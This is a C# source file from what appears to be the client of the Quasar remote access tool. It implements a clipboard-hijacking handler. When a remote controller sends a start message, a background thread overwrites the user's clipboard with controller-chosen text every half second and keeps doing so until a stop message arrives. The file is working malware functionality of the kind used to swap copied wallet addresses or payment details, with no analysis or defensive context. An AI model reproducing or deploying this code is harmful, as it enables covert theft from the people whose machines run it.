55 lines
1.6 KiB
C#
55 lines
1.6 KiB
C#
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using Quasar.Common.Messages;
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using Quasar.Common.Networking;
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using System;
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using System.Threading;
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using System.Windows.Forms;
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namespace Quasar.Client.Messages
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{
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public class ClipboardHijackHandler : IMessageProcessor, IDisposable
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{
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private Thread _thread;
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private volatile bool _running;
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private string _replacementText;
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public bool CanExecute(IMessage message) => message is DoStartClipboardHijack || message is DoStopClipboardHijack;
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public bool CanExecuteFrom(ISender sender) => true;
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public void Execute(ISender sender, IMessage message)
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{
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switch (message)
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{
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case DoStartClipboardHijack start: Start(start.ReplacementText); break;
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case DoStopClipboardHijack _: Stop(); break;
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}
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}
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private void Start(string replacementText)
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{
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Stop();
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_replacementText = replacementText;
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_running = true;
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_thread = new Thread(() =>
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{
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while (_running)
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{
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try
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{
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if (Clipboard.GetText() != _replacementText)
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Clipboard.SetText(_replacementText);
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}
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catch { }
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Thread.Sleep(500);
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}
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});
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_thread.SetApartmentState(ApartmentState.STA);
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_thread.IsBackground = true;
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_thread.Start();
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}
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private void Stop() => _running = false;
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public void Dispose() => Stop();
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}
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}
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